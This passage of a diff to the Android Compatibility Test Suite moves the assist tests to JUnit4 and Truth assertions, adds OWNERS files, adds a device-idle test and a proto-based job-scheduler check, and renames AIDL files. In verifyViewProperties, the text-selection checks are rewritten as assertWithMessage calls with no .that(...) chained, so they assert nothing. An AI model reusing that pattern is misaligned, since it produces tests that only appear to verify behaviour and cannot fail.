-            assertEquals("Secure window should only traverse root node.", 0, numNodeChildren);
+            assertWithMessage("ViewNode property isAssistBlocked is false")
+                    .that(parentNode.isAssistBlocked()).isTrue();
+            assertWithMessage("Secure window should only traverse root node")
+                    .that(numNodeChildren).isEqualTo(0);
             isSecureWindow = false;
         } else if (parentNode.getClassName().equals("android.webkit.WebView")) {
             // WebView will also appear to have no children while the node does, traverse node
-            assertTrue("AssistStructure returned a WebView where the view wasn't one",
-                    parentView instanceof WebView);
+            assertWithMessage("AssistStructure returned a WebView where the view wasn't one").that(
+                    parentView instanceof WebView).isTrue();
 
             boolean textInWebView = false;
 
             for (int i = numNodeChildren - 1; i >= 0; i--) {
                textInWebView |= traverseWebViewForText(parentNode.getChildAt(i));
             }
-            assertTrue("Did not find expected strings inside WebView", textInWebView);
+            assertWithMessage("Did not find expected strings inside WebView").that(textInWebView)
+                    .isTrue();
         } else {
-            assertEquals("Number of children did not match.", numViewChildren, numNodeChildren);
+            assertWithMessage("Number of children did not match").that(numNodeChildren)
+                    .isEqualTo(numViewChildren);
 
             verifyViewProperties(parentView, parentNode);
 
@@ -459,7 +508,7 @@
                     ViewNode childNode = parentNode.getChildAt(i);
 
                     // if isSecureWindow, should not have reached this point.
-                    assertFalse(isSecureWindow);
+                    assertThat(isSecureWindow).isFalse();
                     traverseViewAndStructure(childView, childNode, isSecureWindow);
                 }
             }
@@ -485,18 +534,18 @@
      * Return true if the expected domain is found in the WebView, else fail.
      */
     protected void verifyAssistStructureHasWebDomain(String domain) {
-        assertTrue(traverse(mAssistStructure.getWindowNodeAt(0).getRootViewNode(), (n) -> {
+        assertThat(traverse(mAssistStructure.getWindowNodeAt(0).getRootViewNode(), (n) -> {
             return n.getWebDomain() != null && domain.equals(n.getWebDomain());
-        }));
+        })).isTrue();
     }
 
     /**
      * Return true if the expected LocaleList is found in the WebView, else fail.
      */
     protected void verifyAssistStructureHasLocaleList(LocaleList localeList) {
-        assertTrue(traverse(mAssistStructure.getWindowNodeAt(0).getRootViewNode(), (n) -> {
+        assertThat(traverse(mAssistStructure.getWindowNodeAt(0).getRootViewNode(), (n) -> {
             return n.getLocaleList() != null && localeList.equals(n.getLocaleList());
-        }));
+        })).isTrue();
     }
 
     interface ViewNodeVisitor {
@@ -515,30 +564,34 @@
         return false;
     }
 
-    protected void setFeaturesEnabled(StructureEnabled structure, ScreenshotEnabled screenshot) {
+    protected static void setFeaturesEnabled(StructureEnabled structure,
+            ScreenshotEnabled screenshot) {
         Log.i(TAG, "setFeaturesEnabled(" + structure + ", " + screenshot + ")");
-        SettingsUtils.syncSet(mContext, ASSIST_STRUCTURE_ENABLED, structure.value);
-        SettingsUtils.syncSet(mContext, ASSIST_SCREENSHOT_ENABLED, screenshot.value);
+        sStructureEnabledMgr.set(structure.value);
+        sScreenshotEnabledMgr.set(screenshot.value);
     }
 
     /**
      * Compare view properties of the view hierarchy with that reported in the assist structure.
      */
     private void verifyViewProperties(View parentView, ViewNode parentNode) {
-        assertEquals("Left positions do not match.", parentView.getLeft(), parentNode.getLeft());
-        assertEquals("Top positions do not match.", parentView.getTop(), parentNode.getTop());
-        assertEquals("Opaque flags do not match.", parentView.isOpaque(), parentNode.isOpaque());
+        assertWithMessage("Left positions do not match").that(parentNode.getLeft())
+                .isEqualTo(parentView.getLeft());
+        assertWithMessage("Top positions do not match").that(parentNode.getTop())
+                .isEqualTo(parentView.getTop());
+        assertWithMessage("Opaque flags do not match").that(parentNode.isOpaque())
+                .isEqualTo(parentView.isOpaque());
 
         int viewId = parentView.getId();
 
         if (viewId > 0) {
             if (parentNode.getIdEntry() != null) {
-                assertEquals("View IDs do not match.",
-                        mTestActivity.getResources().getResourceEntryName(viewId),
-                        parentNode.getIdEntry());
+                assertWithMessage("View IDs do not match.").that(parentNode.getIdEntry())
+                        .isEqualTo(mTestActivity.getResources().getResourceEntryName(viewId));
             }
         } else {
-            assertNull("View Node should not have an ID.", parentNode.getIdEntry());
+            assertWithMessage("View Node should not have an ID").that(parentNode.getIdEntry())
+                    .isNull();
         }
 
         Log.i(TAG, "parent text: " + parentNode.getText());
@@ -546,23 +599,26 @@
             Log.i(TAG, "view text: " + ((TextView) parentView).getText());
         }
 
-
-        assertEquals("Scroll X does not match.", parentView.getScrollX(), parentNode.getScrollX());
-        assertEquals("Scroll Y does not match.", parentView.getScrollY(), parentNode.getScrollY());
-        assertEquals("Heights do not match.", parentView.getHeight(), parentNode.getHeight());
-        assertEquals("Widths do not match.", parentView.getWidth(), parentNode.getWidth());
+        assertWithMessage("Scroll X does not match").that(parentNode.getScrollX())
+                .isEqualTo(parentView.getScrollX());
+        assertWithMessage("Scroll Y does not match").that(parentNode.getScrollY())
+                .isEqualTo(parentView.getScrollY());
+        assertWithMessage("Heights do not match").that(parentNode.getHeight())
+                .isEqualTo(parentView.getHeight());
+        assertWithMessage("Widths do not match").that(parentNode.getWidth())
+                .isEqualTo(parentView.getWidth());
 
         if (parentView instanceof TextView) {
             if (parentView instanceof EditText) {
-                assertEquals("Text selection start does not match",
-                        ((EditText) parentView).getSelectionStart(),
-                        parentNode.getTextSelectionStart());
-                assertEquals("Text selection end does not match",
-                        ((EditText) parentView).getSelectionEnd(),
-                        parentNode.getTextSelectionEnd());
+                assertWithMessage("Text selection start does not match",
+                        parentNode.getTextSelectionStart(),
+                        ((EditText) parentView).getSelectionStart());
+                assertWithMessage("Text selection end does not match",
+                        parentNode.getTextSelectionEnd(),
+                        ((EditText) parentView).getSelectionEnd());
             }
             TextView textView = (TextView) parentView;
-            assertEquals(textView.getTextSize(), parentNode.getTextSize());
+            assertThat(parentNode.getTextSize()).isWithin(0.01F).of(textView.getTextSize());
             String viewString = textView.getText().toString();
             String nodeString = parentNode.getText().toString();
 
@@ -570,23 +626,21 @@
                 Log.i(TAG, "Verifying text within TextView at the beginning");
                 Log.i(TAG, "view string: " + viewString);
                 Log.i(TAG, "node string: " + nodeString);
-                assertTrue("String length is unexpected: original string - " + viewString.length() +
-                                ", string in AssistData - " + nodeString.length(),
-                        viewString.length() >= nodeString.length());
-                assertTrue("Expected a longer string to be shown. expected: "
-                                + Math.min(viewString.length(), 30) + " was: " + nodeString
-                                .length(),
-                        nodeString.length() >= Math.min(viewString.length(), 30));
+                assertWithMessage("String length is unexpected: original string - %s, "
+                        + "string in AssistData - %s", viewString.length(), nodeString.length())
+                                .that(viewString.length()).isAtLeast(nodeString.length());
+                assertWithMessage("Expected a longer string to be shown").that(
+                        nodeString.length()).isAtLeast(Math.min(viewString.length(), 30));
                 for (int x = 0; x < parentNode.getText().length(); x++) {
-                    assertEquals("Char not equal at index: " + x,
-                            ((TextView) parentView).getText().toString().charAt(x),
-                            parentNode.getText().charAt(x));
+                    assertWithMessage("Char not equal at index: %s", x).that(
+                            parentNode.getText().charAt(x)).isEqualTo(
+                            ((TextView) parentView).getText().toString().charAt(x));
                 }
             } else if (parentNode.getScrollX() == parentView.getWidth()) {
 
             }
         } else {
-            assertNull(parentNode.getText());
+            assertThat(parentNode.getText()).isNull();
         }
     }
 
diff --git a/tests/tests/assist/src/android/assist/cts/AssistantContentViewTest.java b/tests/tests/assist/src/android/assist/cts/AssistantContentViewTest.java
index a4a28d7..cd1c8bc 100644
--- a/tests/tests/assist/src/android/assist/cts/AssistantContentViewTest.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistantContentViewTest.java
@@ -16,12 +16,18 @@
 
 package android.assist.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
 import android.assist.common.AutoResetLatch;
 import android.assist.common.Utils;
 import android.graphics.Point;
 import android.os.Bundle;
 import android.util.Log;
 
+import org.junit.Test;
+
 import java.util.concurrent.TimeUnit;
 
 /** Test verifying the Content View of the Assistant */
@@ -31,16 +37,14 @@
     private Bundle mBundle;
 
     @Override
-    public void setUp() throws Exception {
-        super.setUp();
+    protected void customSetup() throws Exception {
         mActionLatchReceiver = new AssistantReceiver();
         startTestActivity(Utils.VERIFY_CONTENT_VIEW);
     }
 
     @Override
-    public void tearDown() throws Exception {
+    protected void customTearDown() throws Exception {
         mBundle = null;
-        super.tearDown();
     }
 
     private void waitForContentView() throws Exception {
@@ -50,6 +54,7 @@
         }
     }
 
+    @Test
     public void testAssistantContentViewDimens() throws Exception {
         if (mActivityManager.isLowRamDevice()) {
           Log.d(TAG, "Not running assist tests on low-RAM device.");
@@ -62,8 +67,8 @@
         int height = mBundle.getInt(Utils.EXTRA_CONTENT_VIEW_HEIGHT, 0);
         int width = mBundle.getInt(Utils.EXTRA_CONTENT_VIEW_WIDTH, 0);
         Point displayPoint = mBundle.getParcelable(Utils.EXTRA_DISPLAY_POINT);
-        assertEquals(displayPoint.y, height);
-        assertEquals(displayPoint.x, width);
+        assertThat(height).isEqualTo(displayPoint.y);
+        assertThat(width).isEqualTo(displayPoint.x);
     }
 
     private class AssistantReceiver extends ActionLatchReceiver {
diff --git a/tests/tests/assist/src/android/assist/cts/DisableContextTest.java b/tests/tests/assist/src/android/assist/cts/DisableContextTest.java
index 11e404f..912c5d7 100644
--- a/tests/tests/assist/src/android/assist/cts/DisableContextTest.java
+++ b/tests/tests/assist/src/android/assist/cts/DisableContextTest.java
@@ -19,6 +19,8 @@
 import android.assist.common.Utils;
 import android.util.Log;
 
+import org.junit.Test;
+
 /** Test we receive proper assist data when context is disabled or enabled */
 public class DisableContextTest extends AssistTestBase {
     static final String TAG = "DisableContextTest";
@@ -26,18 +28,17 @@
     private static final String TEST_CASE_TYPE = Utils.DISABLE_CONTEXT;
 
     @Override
-    public void setUp() throws Exception {
-        super.setUp();
+    protected void customSetup() throws Exception {
         startTestActivity(TEST_CASE_TYPE);
     }
 
     @Override
-    public void tearDown() throws Exception {
+    public void customTearDown() throws Exception {
         setFeaturesEnabled(StructureEnabled.TRUE, ScreenshotEnabled.TRUE);
         logContextAndScreenshotSetting();
-        super.tearDown();
     }
 
+    @Test
     public void testContextAndScreenshotOff() throws Exception {
         if (!mContext.getPackageManager().hasSystemFeature(FEATURE_VOICE_RECOGNIZERS)) {
             Log.d(TAG, "Not running assist tests - voice_recognizers feature is not supported");
@@ -53,6 +54,7 @@
         verifyAssistDataNullness(true, true, true, true);
     }
 
+    @Test
     public void testContextOff() throws Exception {
         if (!mContext.getPackageManager().hasSystemFeature(FEATURE_VOICE_RECOGNIZERS)) {
             Log.d(TAG, "Not running assist tests - voice_recognizers feature is not supported");
@@ -68,6 +70,7 @@
         verifyAssistDataNullness(false, false, false, true);
     }
 
+    @Test
     public void testScreenshotOff() throws Exception {
         if (!mContext.getPackageManager().hasSystemFeature(FEATURE_VOICE_RECOGNIZERS)) {
             Log.d(TAG, "Not running assist tests - voice_recognizers feature is not supported");
diff --git a/tests/tests/assist/src/android/assist/cts/ExtraAssistDataTest.java b/tests/tests/assist/src/android/assist/cts/ExtraAssistDataTest.java
index 2acf4e3..d465880 100644
--- a/tests/tests/assist/src/android/assist/cts/ExtraAssistDataTest.java
+++ b/tests/tests/assist/src/android/assist/cts/ExtraAssistDataTest.java
@@ -21,16 +21,19 @@
 import android.os.Bundle;
 import android.util.Log;
 
+import org.junit.Test;
+
+import static com.google.common.truth.Truth.assertWithMessage;
 public class ExtraAssistDataTest extends AssistTestBase {
     private static final String TAG = "ExtraAssistDataTest";
     private static final String TEST_CASE_TYPE = Utils.EXTRA_ASSIST;
 
     @Override
-    public void setUp() throws Exception {
-        super.setUp();
+    protected void customSetup() throws Exception {
         startTestActivity(TEST_CASE_TYPE);
     }
 
+    @Test
     public void testAssistContentAndAssistData() throws Exception {
         if (mActivityManager.isLowRamDevice()) {
             Log.d(TAG, "Not running assist tests on low-RAM device.");
@@ -46,20 +49,22 @@
         Log.i(TAG, "assist bundle is: " + Utils.toBundleString(mAssistBundle));
 
         // first tests that the assist content's structured data is the expected
-        assertEquals("AssistContent structured data did not match data in onProvideAssistContent",
-                Utils.getStructuredJSON(), mAssistContent.getStructuredData());
+        assertWithMessage(
+                "AssistContent structured data did not match data in onProvideAssistContent").that(
+                        mAssistContent.getStructuredData()).isEqualTo(Utils.getStructuredJSON());
         Bundle extraExpectedBundle = Utils.getExtraAssistBundle();
         Bundle extraAssistBundle = mAssistBundle.getBundle(Intent.EXTRA_ASSIST_CONTEXT);
         for (String key : extraExpectedBundle.keySet()) {
-            assertTrue("Assist bundle does not contain expected extra context key: " + key,
-                    extraAssistBundle.containsKey(key));
-            assertEquals("Extra assist context bundle values do not match for key: " + key,
-                    extraExpectedBundle.get(key), extraAssistBundle.get(key));
+            assertWithMessage("Assist bundle does not contain expected extra context key: %s", key)
+                    .that(extraAssistBundle.containsKey(key)).isTrue();
+            assertWithMessage("Extra assist context bundle values do not match for key: %s", key)
+                    .that(extraAssistBundle.get(key)).isEqualTo(extraExpectedBundle.get(key));
         }
 
         // then test the EXTRA_ASSIST_UID
         int expectedUid = Utils.getExpectedUid(extraAssistBundle);
         int actualUid = mAssistBundle.getInt(Intent.EXTRA_ASSIST_UID);
-        assertEquals("Wrong value for EXTRA_ASSIST_UID", expectedUid, actualUid);
+        assertWithMessage("Wrong value for EXTRA_ASSIST_UID").that(actualUid)
+                .isEqualTo(expectedUid);
     }
 }
diff --git a/tests/tests/assist/src/android/assist/cts/FlagSecureTest.java b/tests/tests/assist/src/android/assist/cts/FlagSecureTest.java
index 97573d8..d5724b9 100644
--- a/tests/tests/assist/src/android/assist/cts/FlagSecureTest.java
+++ b/tests/tests/assist/src/android/assist/cts/FlagSecureTest.java
@@ -20,6 +20,8 @@
 import android.assist.common.Utils;
 import android.util.Log;
 
+import org.junit.Test;
+
 /**
  * Test we receive proper assist data (root assistStructure with no children) when the assistant is
  * invoked on an app with FLAG_SECURE set.
@@ -30,11 +32,11 @@
     private static final String TEST_CASE_TYPE = Utils.FLAG_SECURE;
 
     @Override
-    public void setUp() throws Exception {
-        super.setUp();
+    protected void customSetup() throws Exception {
         startTestActivity(TEST_CASE_TYPE);
     }
 
+    @Test
     public void testSecureActivity() throws Exception {
         if (!mContext.getPackageManager().hasSystemFeature(FEATURE_VOICE_RECOGNIZERS)) {
             Log.d(TAG, "Not running assist tests - voice_recognizers feature is not supported");
diff --git a/tests/tests/assist/src/android/assist/cts/FocusChangeTest.java b/tests/tests/assist/src/android/assist/cts/FocusChangeTest.java
index bc63a43..e4e530a 100644
--- a/tests/tests/assist/src/android/assist/cts/FocusChangeTest.java
+++ b/tests/tests/assist/src/android/assist/cts/FocusChangeTest.java
@@ -16,11 +16,15 @@
 
 package android.assist.cts;
 
+import static org.junit.Assert.fail;
+
 import android.assist.common.AutoResetLatch;
 import android.assist.common.Utils;
 import android.util.Log;
 import android.util.Pair;
 
+import org.junit.Test;
+
 import java.util.concurrent.TimeUnit;
 
 /** Test that triggering the Assistant causes the underlying Activity to lose focus **/
@@ -32,8 +36,7 @@
     private AutoResetLatch mHasLostFocusLatch = new AutoResetLatch(1);
 
     @Override
-    public void setUp() throws Exception {
-        super.setUp();
+    protected void customSetup() throws Exception {
         mActionLatchReceiver = new ActionLatchReceiver(
                 Pair.create(Utils.GAINED_FOCUS, mHasGainedFocusLatch),
                 Pair.create(Utils.LOST_FOCUS, mHasLostFocusLatch)
@@ -56,6 +59,7 @@
         }
     }
 
+    @Test
     public void testLayerCausesUnderlyingActivityToLoseFocus() throws Exception {
         if (mActivityManager.isLowRamDevice()) {
             Log.d(TAG, "Not running assist tests on low-RAM device.");
diff --git a/tests/tests/assist/src/android/assist/cts/LargeViewHierarchyTest.java b/tests/tests/assist/src/android/assist/cts/LargeViewHierarchyTest.java
index 05a473e..80647e5 100644
--- a/tests/tests/assist/src/android/assist/cts/LargeViewHierarchyTest.java
+++ b/tests/tests/assist/src/android/assist/cts/LargeViewHierarchyTest.java
@@ -20,6 +20,8 @@
 import android.assist.common.Utils;
 import android.util.Log;
 
+import org.junit.Test;
+
 /**
  *  Test that the AssistStructure returned is properly formatted.
  */
@@ -28,11 +30,11 @@
     private static final String TEST_CASE_TYPE = Utils.LARGE_VIEW_HIERARCHY;
 
     @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    protected void customSetup() throws Exception {
         startTestActivity(TEST_CASE_TYPE);
     }
 
+    @Test
     public void testTextView() throws Exception {
         if (mActivityManager.isLowRamDevice()) {
             Log.d(TAG, "Not running assist tests on low-RAM device.");
diff --git a/tests/tests/assist/src/android/assist/cts/LifecycleTest.java b/tests/tests/assist/src/android/assist/cts/LifecycleTest.java
index c35f8f0..35cec57 100644
--- a/tests/tests/assist/src/android/assist/cts/LifecycleTest.java
+++ b/tests/tests/assist/src/android/assist/cts/LifecycleTest.java
@@ -16,11 +16,15 @@
 
 package android.assist.cts;
 
+import static org.junit.Assert.fail;
+
 import android.assist.common.AutoResetLatch;
 import android.assist.common.Utils;
 import android.os.Bundle;
 import android.util.Log;
 
+import org.junit.Test;
+
 import java.util.concurrent.TimeUnit;
 
 /** Test we receive proper assist data when context is disabled or enabled */
@@ -41,8 +45,7 @@
     private boolean mLostFocusIsLifecycle;
 
     @Override
-    public void setUp() throws Exception {
-        super.setUp();
+    protected void customSetup() throws Exception {
         mActionLatchReceiver = new LifecycleTestReceiver();
         mLostFocusIsLifecycle = false;
         startTestActivity(TEST_CASE_TYPE);
@@ -75,6 +78,7 @@
         }
     }
 
+    @Test
     public void testLayerDoesNotTriggerLifecycleMethods() throws Exception {
         if (!mContext.getPackageManager().hasSystemFeature(FEATURE_VOICE_RECOGNIZERS)) {
             Log.d(TAG, "Not running assist tests - voice_recognizers feature is not supported");
@@ -100,6 +104,7 @@
         waitForDestroy();
     }
 
+    @Test
     public void testNoUiLayerDoesNotTriggerLifecycleMethods() throws Exception {
         if (mActivityManager.isLowRamDevice()) {
             Log.d(TAG, "Not running assist tests on low-RAM device.");
diff --git a/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java b/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
index dcc3be0..c9d16c8 100644
--- a/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
+++ b/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
@@ -16,24 +16,28 @@
 
 package android.assist.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import android.assist.common.AutoResetLatch;
 import android.assist.common.Utils;
 import android.graphics.Color;
 import android.os.Bundle;
 import android.util.Log;
 
+import org.junit.Test;
+
 public class ScreenshotTest extends AssistTestBase {
     static final String TAG = "ScreenshotTest";
 
     private static final String TEST_CASE_TYPE = Utils.SCREENSHOT;
 
     @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    protected void customSetup() throws Exception {
         // start test start activity
         startTestActivity(TEST_CASE_TYPE);
     }
 
+    @Test
     public void testRedScreenshot() throws Throwable {
         if (mActivityManager.isLowRamDevice()) {
             Log.d(TAG, "Not running assist tests on low-RAM device.");
@@ -50,10 +54,11 @@
         eventuallyWithSessionClose(() -> {
             delayAndStartSession(Color.RED);
             verifyAssistDataNullness(false, false, false, false);
-            assertTrue(mScreenshotMatches);
+            assertThat(mScreenshotMatches).isTrue();
         });
     }
 
+    @Test
     public void testGreenScreenshot() throws Throwable {
         if (mActivityManager.isLowRamDevice()) {
             Log.d(TAG, "Not running assist tests on low-RAM device.");
@@ -70,10 +75,11 @@
         eventuallyWithSessionClose(() -> {
             delayAndStartSession(Color.GREEN);
             verifyAssistDataNullness(false, false, false, false);
-            assertTrue(mScreenshotMatches);
+            assertThat(mScreenshotMatches).isTrue();
         });
     }
 
+    @Test
     public void testBlueScreenshot() throws Throwable {
         if (mActivityManager.isLowRamDevice()) {
             Log.d(TAG, "Not running assist tests on low-RAM device.");
@@ -90,7 +96,7 @@
         eventuallyWithSessionClose(() -> {
             delayAndStartSession(Color.BLUE);
             verifyAssistDataNullness(false, false, false, false);
-            assertTrue(mScreenshotMatches);
+            assertThat(mScreenshotMatches).isTrue();
         });
     }
 
diff --git a/tests/tests/assist/src/android/assist/cts/TextViewTest.java b/tests/tests/assist/src/android/assist/cts/TextViewTest.java
index 6b06442..78c0a52 100644
--- a/tests/tests/assist/src/android/assist/cts/TextViewTest.java
+++ b/tests/tests/assist/src/android/assist/cts/TextViewTest.java
@@ -21,6 +21,8 @@
 import android.os.Bundle;
 import android.util.Log;
 
+import org.junit.Test;
+
 /**
  *  Test that the AssistStructure returned is properly formatted.
  */
@@ -29,11 +31,11 @@
     private static final String TEST_CASE_TYPE = Utils.TEXTVIEW;
 
     @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    protected void customSetup() throws Exception {
         startTestActivity(TEST_CASE_TYPE);
     }
 
+    @Test
     public void testTextView() throws Exception {
         if (mActivityManager.isLowRamDevice()) {
             Log.d(TAG, "Not running assist tests on low-RAM device.");
diff --git a/tests/tests/assist/src/android/assist/cts/WebViewTest.java b/tests/tests/assist/src/android/assist/cts/WebViewTest.java
index 75fc0ba..a7f9329 100644
--- a/tests/tests/assist/src/android/assist/cts/WebViewTest.java
+++ b/tests/tests/assist/src/android/assist/cts/WebViewTest.java
@@ -16,11 +16,15 @@
 
 package android.assist.cts;
 
+import static org.junit.Assert.fail;
+
 import android.assist.common.AutoResetLatch;
 import android.assist.common.Utils;
 import android.content.pm.PackageManager;
 import android.util.Log;
 
+import org.junit.Test;
+
 import java.util.concurrent.TimeUnit;
 
 /**
@@ -33,8 +37,7 @@
     private final AutoResetLatch mTestWebViewLatch = new AutoResetLatch();
 
     @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    protected void customSetup() throws Exception {
         mActionLatchReceiver = new ActionLatchReceiver(Utils.TEST_ACTIVITY_WEBVIEW_LOADED, mTestWebViewLatch);
         startTestActivity(TEST_CASE_TYPE);
     }
@@ -46,6 +49,7 @@
         }
     }
 
+    @Test
     public void testWebView() throws Throwable {
         if (mActivityManager.isLowRamDevice()) {
             Log.d(TAG, "Not running assist tests on low-RAM device.");
diff --git a/tests/tests/background/OWNERS b/tests/tests/background/OWNERS
new file mode 100644
index 0000000..ec12f79
--- /dev/null
+++ b/tests/tests/background/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 330055
+include /tests/app/OWNERS
diff --git a/tests/tests/batterysaving/Android.bp b/tests/tests/batterysaving/Android.bp
index 032d2bf..b0007e2 100644
--- a/tests/tests/batterysaving/Android.bp
+++ b/tests/tests/batterysaving/Android.bp
@@ -22,6 +22,7 @@
         "mockito-target-minus-junit4",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
+        "platformprotosnano",
         "truth-prebuilt",
         "ub-uiautomator",
     ],
diff --git a/tests/tests/batterysaving/OWNERS b/tests/tests/batterysaving/OWNERS
new file mode 100644
index 0000000..1fe2293
--- /dev/null
+++ b/tests/tests/batterysaving/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 330055
+omakoto@google.com
+yamasani@google.com
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
index e2cf479..3db9dbb 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
@@ -34,6 +34,9 @@
 import com.android.compatibility.common.util.BatteryUtils;
 import com.android.compatibility.common.util.BeforeAfterRule;
 import com.android.compatibility.common.util.OnFailureRule;
+import com.android.compatibility.common.util.ProtoUtils;
+import com.android.server.job.nano.JobSchedulerServiceDumpProto;
+import com.android.server.job.nano.StateControllerProto;
 
 import org.junit.Rule;
 import org.junit.rules.RuleChain;
@@ -96,9 +99,19 @@
     }
 
     public void waitUntilJobForceAppStandby(boolean expected) throws Exception {
-        waitUntil("Force all apps standby still " + !expected + " (job)", () ->
-                runShellCommand("dumpsys jobscheduler")
-                        .contains("Force all apps standby: " + expected));
+        waitUntil("Force all apps standby still " + !expected + " (job)", () -> {
+            JobSchedulerServiceDumpProto proto = ProtoUtils.getProto(
+                    InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                    JobSchedulerServiceDumpProto.class,
+                    ProtoUtils.DUMPSYS_JOB_SCHEDULER);
+            for (StateControllerProto controllerProto : proto.controllers) {
+                if (controllerProto.hasBackground()) {
+                    return controllerProto.getBackground().appStateTracker.forceAllAppsStandby
+                            == expected;
+                }
+            }
+            return false;
+        });
     }
 
     public void waitUntilForceBackgroundCheck(boolean expected) throws Exception {
diff --git a/tests/tests/batterysaving/src/android/os/cts/deviceidle/DeviceIdleTest.java b/tests/tests/batterysaving/src/android/os/cts/deviceidle/DeviceIdleTest.java
new file mode 100644
index 0000000..20410e7
--- /dev/null
+++ b/tests/tests/batterysaving/src/android/os/cts/deviceidle/DeviceIdleTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.os.cts.deviceidle;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.os.PowerManager;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DeviceIdleTest {
+    @Test
+    public void testDeviceIdleManager() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        assertNotNull(context.getSystemService(Context.DEVICE_IDLE_CONTROLLER));
+    }
+
+    @Test
+    public void testPowerManagerIgnoringBatteryOptimizations() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+
+        assertTrue(context.getSystemService(PowerManager.class)
+                .isIgnoringBatteryOptimizations("com.android.shell"));
+        assertFalse(context.getSystemService(PowerManager.class)
+                .isIgnoringBatteryOptimizations("no.such.package.!!!"));
+    }
+
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Bar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Bar.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Bar.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Bar.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ByteEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ByteEnum.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ByteEnum.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ByteEnum.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Foo.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Foo.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Foo.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IEmpty.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IEmpty.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IEmpty.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IEmpty.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ITest.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ITest.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ITest.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IntEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IntEnum.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IntEnum.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IntEnum.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/LongEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/LongEnum.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/LongEnum.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/LongEnum.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/RegularPolygon.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/RegularPolygon.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/RegularPolygon.aidl
